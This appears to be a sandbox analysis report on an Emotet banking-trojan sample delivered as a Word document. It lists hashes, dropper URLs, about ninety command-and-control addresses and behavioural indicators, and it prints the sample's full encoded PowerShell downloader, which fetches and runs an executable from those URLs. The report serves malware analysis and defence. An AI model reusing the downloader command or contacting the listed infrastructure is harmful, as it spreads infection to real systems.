emotet | 6ca66bb2a18b0b27d6f714ce2099b199103b2b56c28a5c1036db6ef08b2e7ae2

General

Target
doc 20200917 13948.doc
Size 170KB
Sample200916-k2b7nqvfdj
SHA256 6ca66bb2a18b0b27d6f714ce2099b199103b2b56c28a5c1036db6ef08b2e7ae2
MD5 8a951a07dd2e67bbff36b8ff9dd9f8e1
SHA1 1400ea356687312b99bcb8d799123fac0ec67584
SHA512 9c72a7d33b086b0b8df7457828746db4ab05c72b55f1e434dec7fe0087e2ff6ccd6df05af13530b9c768ea87958cb619c9974e2134f0f66d0efc370e4b6f66ab
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://theccwork.com/mail.theccwork.com/IJp/
exe.dropper
https://www.retirementprofessional.com/wp-admin/tjQ/
exe.dropper
https://writingfromling.live/wp-admin/GL/
exe.dropper
http://shahqutubuddin.org/ix/
exe.dropper
https://jumpstart.store/wp-admin/q/
exe.dropper
https://aidenshirt.com/wp-admin/e6f/
exe.dropper
https://edenrug.store/wp-admin/H/

Extracted

Family

emotet

C2

174.113.69.136:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
190.115.18.139:8080
98.13.75.196:80
181.30.61.163:443
82.76.111.249:443
181.129.96.162:8080
74.58.215.226:80
68.69.155.181:80
188.135.15.49:80
190.163.31.26:80
50.121.220.50:80
51.159.23.217:443
2.47.112.152:80
185.215.227.107:443
217.13.106.14:8080
70.32.115.157:8080
170.81.48.2:80
73.213.208.163:80
5.196.35.138:7080
190.24.243.186:80
192.241.143.52:8080
185.183.16.47:80
184.66.18.83:80
187.162.248.237:80
220.109.145.69:80
51.255.165.160:8080
82.230.1.24:80
94.176.234.118:443
104.131.103.37:8080
50.28.51.143:8080
12.162.84.2:8080
74.136.144.133:80
77.90.136.129:8080
68.183.190.199:8080
96.245.123.149:80
177.74.228.34:80
213.197.182.158:8080
45.46.37.97:80
110.142.219.51:80
192.241.146.84:8080
189.2.177.210:443
177.73.0.98:443
61.197.92.216:80
185.178.10.77:80
212.71.237.140:8080
65.36.62.20:80
190.195.129.227:8090
217.199.160.224:7080
138.97.60.141:7080
155.186.0.121:80
204.225.249.100:7080
92.24.50.153:80
83.169.21.32:7080
190.6.193.152:8080
219.92.13.25:80
186.103.141.250:443
80.11.164.185:80
45.16.226.117:443
67.247.242.247:80
190.2.31.172:80
77.238.212.227:80
64.201.88.132:80
185.94.252.27:443
199.203.62.165:80
190.147.137.153:443
111.67.77.202:8080
172.104.169.32:8080
5.189.178.202:8080
190.190.148.27:8080
191.182.6.118:80
45.161.242.102:80
70.32.84.74:8080
45.33.77.42:8080
72.47.248.48:7080
114.158.45.53:80
209.236.123.42:8080
137.74.106.111:7080
54.37.42.48:8080
95.9.180.128:80
96.227.52.8:443
152.169.22.67:80
104.131.41.185:8080
77.106.157.34:8080
111.67.12.221:8080
61.92.159.208:8080
178.250.54.208:8080
68.183.170.114:8080
78.249.119.122:80
186.70.127.199:8090
216.47.196.104:80
185.94.252.12:80
87.106.46.107:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	220	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1992-13-0x0000000002310000-0x0000000002320000-memory.dmp	emotet
behavioral2/memory/1992-13-0x0000000002310000-0x0000000002320000-memory.dmp	emotet
behavioral2/memory/1992-12-0x00000000022F0000-0x0000000002302000-memory.dmp	emotet
behavioral2/memory/1992-12-0x00000000022F0000-0x0000000002302000-memory.dmp	emotet
behavioral2/memory/3920-16-0x0000000000810000-0x0000000000822000-memory.dmp	emotet
behavioral2/memory/3920-16-0x0000000000810000-0x0000000000822000-memory.dmp	emotet
behavioral2/memory/3920-17-0x0000000002620000-0x0000000002630000-memory.dmp	emotet
behavioral2/memory/3920-17-0x0000000002620000-0x0000000002630000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
14	1600	powershell.exe
16	1600	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1992	K2ngq9rh.exe
3920	hnetcfg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wscadminui\hnetcfg.exe	K2ngq9rh.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3104	WINWORD.EXE
3104	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
3920	hnetcfg.exe
3920	hnetcfg.exe
3920	hnetcfg.exe
3920	hnetcfg.exe
3920	hnetcfg.exe
3920	hnetcfg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
1992	K2ngq9rh.exe
1992	K2ngq9rh.exe
3920	hnetcfg.exe
3920	hnetcfg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 1992	1600	powershell.exe	79
PID 1600 wrote to memory of 1992	1600	powershell.exe	79
PID 1600 wrote to memory of 1992	1600	powershell.exe	79
PID 1992 wrote to memory of 3920	1992	K2ngq9rh.exe	81
PID 1992 wrote to memory of 3920	1992	K2ngq9rh.exe	81
PID 1992 wrote to memory of 3920	1992	K2ngq9rh.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\doc 20200917 13948.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZgBhADAAOQBcAGYARQBkAG0AUQBzAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBpAFQAeQBwAHIATwBgAFQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAoACcAcwAnACsAJwAxADEAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUgBjAG0AOABjAGIAegAgAD0AIAAoACgAJwBLACcAKwAnADIAbgAnACkAKwAnAGcAcQAnACsAKAAnADkAcgAnACsAJwBoACcAKQApADsAJABVAHoAZgBzADUAXwBnAD0AKAAoACcARgBmACcAKwAnAGwAJwApACsAJwA1ACcAKwAoACcAdABxACcAKwAnAHYAJwApACkAOwAkAEQAZwAzADgAawB2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAegAnACsAKAAnAG8ASgAnACsAJwBNADMAeQAnACkAKwAoACcAZgBhADAAOQAnACsAJwB6AG8AJwApACsAKAAnAEoAJwArACcARgBlAGQAbQBxAHMAdQAnACsAJwB6ACcAKQArACcAbwAnACsAJwBKACcAKQAuACIAcgBFAGAAcABgAEwAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAyADIAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcANAApACwAWwBzAHQAcgBpAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFIAYwBtADgAYwBiAHoAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOABmAHIAaQBoADgAPQAoACcATAAnACsAKAAnADkAMQAnACsAJwBlAG8AJwApACsAJwB5ADUAJwApADsAJABGADYAagBuAGwAagA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBiAGMAbABJAEUATgB0ADsAJABBAG8AawBmADQAZgBpAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwArACcAZQAnACkAKwAnAGMAJwArACgAJwBjAHcAbwAnACsAJwByACcAKwAnAGsALgBjAG8AJwApACsAKAAnAG0ALwBtAGEAJwArACcAaQAnACkAKwAoACcAbAAnACsAJwAuAHQAaABlAGMAJwApACsAKAAnAGMAJwArACcAdwBvACcAKwAnAHIAawAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAEkAJwArACcASgBwACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAHcAdwB3AC4AcgBlAHQAaQByAGUAbQBlACcAKwAnAG4AJwArACcAdABwACcAKwAnAHIAbwAnACsAJwBmAGUAcwAnACkAKwAoACcAcwBpAG8AJwArACcAbgAnACkAKwAoACcAYQBsACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwArACcALwAnACsAJwB0AGoAUQAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwB3AHIAaQAnACkAKwAoACcAdABpAG4AJwArACcAZwBmACcAKQArACgAJwByAG8AbQAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZwAuACcAKQArACgAJwBsACcAKwAnAGkAdgAnACkAKwAoACcAZQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACsAJwBuAC8ARwBMACcAKQArACcALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AcwBoAGEAaABxAHUAdAB1AGIAdQAnACsAJwBkAGQAJwArACcAaQAnACsAJwBuACcAKQArACcALgAnACsAJwBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AaQB4AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAGoAdQAnACsAJwBtACcAKQArACgAJwBwAHMAdABhAHIAdAAuAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwByAGUALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAcQAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBhACcAKQArACgAJwBpAGQAZQAnACsAJwBuAHMAJwArACcAaABpACcAKQArACcAcgB0ACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwBlADYAJwApACsAKAAnAGYALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AZQBkACcAKwAnAGUAbgByACcAKQArACgAJwB1AGcALgAnACsAJwBzAHQAJwArACcAbwByAGUALwAnACkAKwAoACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKQArACgAJwAvACcAKwAnAEgALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBADgAMQBpAHQAOQBwAD0AKAAnAEkAJwArACgAJwBnAHYAaABrADUAJwArACcANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAYwB5ADUAOQBlAGQAIABpAG4AIAAkAEEAbwBrAGYANABmAGkAKQB7AHQAcgB5AHsAJABGADYAagBuAGwAagA0AC4AIgBEAGAATwB3AE4ATABvAEEARABgAEYASQBgAGwAZQAiACgAJABSAGMAeQA1ADkAZQBkACwAIAAkAEQAZwAzADgAawB2AGYAKQA7ACQAVQBjAGcAYgBsADIAYQA9ACgAJwBVACcAKwAoACcAeABiACcAKwAnADcAawBiACcAKQArACcAZQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARABnADMAOABrAHYAZgApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQAxADAAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAMwA4AGsAdgBmACkAOwAkAEEANQB3ADEAbQB1AG0APQAoACgAJwBIAGYAJwArACcAYgB4ADEAaQAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABMAG0AbABzADMAXwBrAD0AKAAnAEQAJwArACcAcQAnACsAKAAnADgANwB1ACcAKwAnAHcAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQA2AGsAYQBqAHUAcQA9ACgAJwBXAHYAJwArACgAJwBiAHYAJwArACcAXwAnACkAKwAnADAAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Users\Admin\M3yfa09\Fedmqsu\K2ngq9rh.exe
  "C:\Users\Admin\M3yfa09\Fedmqsu\K2ngq9rh.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\SysWOW64\wscadminui\hnetcfg.exe
    "C:\Windows\SysWOW64\wscadminui\hnetcfg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1600-6-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

Download

memory/1600-8-0x0000022DCD990000-0x0000022DCD991000-memory.dmp

Download

memory/1600-7-0x0000022DCD680000-0x0000022DCD681000-memory.dmp

Download

memory/1992-13-0x0000000002310000-0x0000000002320000-memory.dmp

Download

memory/1992-12-0x00000000022F0000-0x0000000002302000-memory.dmp

Download

memory/3104-5-0x000001B6840F3000-0x000001B6840F8000-memory.dmp

Download

memory/3104-4-0x000001B6840F3000-0x000001B6840F8000-memory.dmp

Download

memory/3104-3-0x000001B6840F3000-0x000001B6840F8000-memory.dmp

Download

memory/3104-2-0x000001B6840F3000-0x000001B6840F8000-memory.dmp

Download

memory/3104-0-0x00007FFA40390000-0x00007FFA40A56000-memory.dmp

Download

memory/3104-1-0x000001B683E67000-0x000001B683E6C000-memory.dmp

Download

memory/3920-16-0x0000000000810000-0x0000000000822000-memory.dmp

Download

memory/3920-17-0x0000000002620000-0x0000000002630000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads